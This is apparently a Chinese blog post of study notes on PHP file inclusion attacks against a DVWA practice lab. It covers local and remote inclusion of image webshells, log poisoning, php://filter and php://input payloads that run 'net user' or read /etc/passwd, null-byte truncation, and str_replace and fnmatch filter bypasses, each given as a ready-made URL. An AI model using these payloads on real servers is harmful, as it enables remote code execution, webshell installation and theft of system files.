文件包含

2020-04-10  本文已影响0人  _Beginner

一.本文介绍

1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_replace函数绕过、fnmach函数绕过、php内置协议。


二.学习步骤

1、文件包含

1. 原理:
开发的时候,未对包含的文件进行严格过滤,攻击者可构造自己的图片木马文件档PHP执行

2. 四个包含文件函数:
include(),include_once(),require()和require_once()。

3. 本地包含LIF:
不用做任何条件限制。

格式: http://192.168.1.200/dvwa/vulnerabilities/fi/?page=../../../777.jpg ;然后菜刀连接

4. 远程包含RLF前提:
allow_url_include=on  magic_quotes_gpc=off

格式:http://192.168.1.200/dvwa/vulnerabilities/fi/?page=http://192.168.1.10/777.jpg;然后菜刀连接

5. 包含日志文件:
前提:
开启啦日志记录:conf/httpd-conf中的CustomLog "logs/access.log" common前面#以去掉。

路径:PHPstudy/Apache/logs/access.log

格式: http://192.168.1.200/dvwa/vulnerabilities/fi/?page=../../../Apache/logs/access.log;然后菜刀连接
(也可以在URL的id=后面接木马写入日志)

6. 包含文件(使用PHP协议):
格式:
http://192.168.1.10/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php;得到base64后解密:

7. 包含文件(使用PHP协议):

只有在allow _url_include为on的时候才可以使用

格式:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:<?php system('net user');?>

linux:post数据为:<?php system('cat /etc/passwd');?>

8. 包含截断:<5.3.4版本的PHP:

原理:通过%00截断
 代码:include  $_GET['page'] .".php" ; 将文件名和.php重新结合,我们可以在中间通过%00截断。

格式:http://192.168.1.224:8082/2.php?page=3.jpg%00
3.jpg可以为我们上传的木马

9. str_replace函数绕过     

原理:可以使用双写绕过替换规则。

如:例如page=hthttp://tp://192.168.0.103时;str_replace函数会将http://删除,于是page=http://192.168.0.103

1、本地文件包含:在../中间添加../
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini

2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

3、远程文件包含:双写http://
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt 

10.fnmatch函数绕过

原理:if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file* "(文件名file开头)时才抛出错误。

格式:page=file://C:/xampp/htdocs/dvwa/php.ini(刚好满足"file*"(文件名file开头)。)

10.PHP内置协议

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

zlib:// — 压缩流

data:// — 数据(RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流

上一篇下一篇

猜你喜欢

热点阅读